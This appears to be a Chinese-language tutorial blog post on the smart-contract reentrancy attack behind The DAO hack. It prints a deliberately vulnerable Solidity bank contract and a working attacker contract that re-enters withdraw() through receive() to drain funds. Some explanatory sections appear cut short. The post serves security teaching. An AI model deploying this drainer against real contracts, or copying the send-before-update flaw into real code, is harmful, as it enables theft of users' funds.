從今天開始,我們將正式踏入本系列賽最硬核、也是我身為資安系學生最期待的章節:「資安攻防大亂鬥」。
提到智慧合約的安全漏洞,我們絕對不能跳過重入攻擊 (Reentrancy Attack)。2016 年,著名的「The DAO」專案因為這個漏洞被駭客盜走高達 360 萬枚以太幣(當時價值約 5000 萬美元),這起事件甚至嚴重到讓以太坊社群決定硬分叉,分裂出現在的 ETH 與 ETC。今天,我們就來親手寫一段惡意合約,重現這個毀滅性的攻擊手法!
什麼是重入攻擊?
想像一個生活場景:
你走進銀行領錢,你的帳戶裡有 1 萬元。
靶機:存在漏洞的銀行合約
我們來看看一個典型「寫壞了」的銀行合約。請注意 withdraw 函數裡的執行順序:
'''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
// 存款函數
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// 提款函數 (充滿漏洞!)
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
// 致命錯誤 1:先發送以太幣給呼叫者
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
// 致命錯誤 2:錢都發出去了,才更新餘額狀態
balances[msg.sender] = 0;
}
// 查詢銀行總資金
function getBankBalance() public view returns (uint256) {
return address(this).balance;
}
}
'''
駭客合約:如何觸發重入?
駭客要怎麼在「收到錢的瞬間」打斷銀行並再次提款呢?這要歸功於 Solidity 中一個特殊的函數:receive() 或 fallback()。
當一個合約收到以太幣,但沒有呼叫任何特定的函數時,EVM 會自動觸發該合約內建的 receive() 函數。駭客只要把「再次提款」的指令寫在這裡面,就能形成完美的無限迴圈!
'''
contract Attacker {
VulnerableBank public bank;
constructor(address _bankAddress) {
bank = VulnerableBank(_bankAddress);
}
// 攻擊發起點
function attack() public payable {
require(msg.value >= 1 ether, "Need at least 1 ether to attack");
// 1. 先存入 1 ether 作為誘餌
bank.deposit{value: 1 ether}();
// 2. 立刻要求提款,啟動惡意迴圈
bank.withdraw();
}
// 核心陷阱:當 VulnerableBank 把錢轉過來時,會自動觸發這個函數!
receive() external payable {
// 如果銀行裡還有大於 1 ether 的錢,就繼續重複呼叫提款!
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
'''
攻擊執行流程拆解
透過程式碼,親眼見證了區塊鏈歷史上最惡名昭彰的重入攻擊。這也深刻印證了在 Web3 的世界裡,程式碼的執行順序只要顛倒一行,就是千萬美元的代價。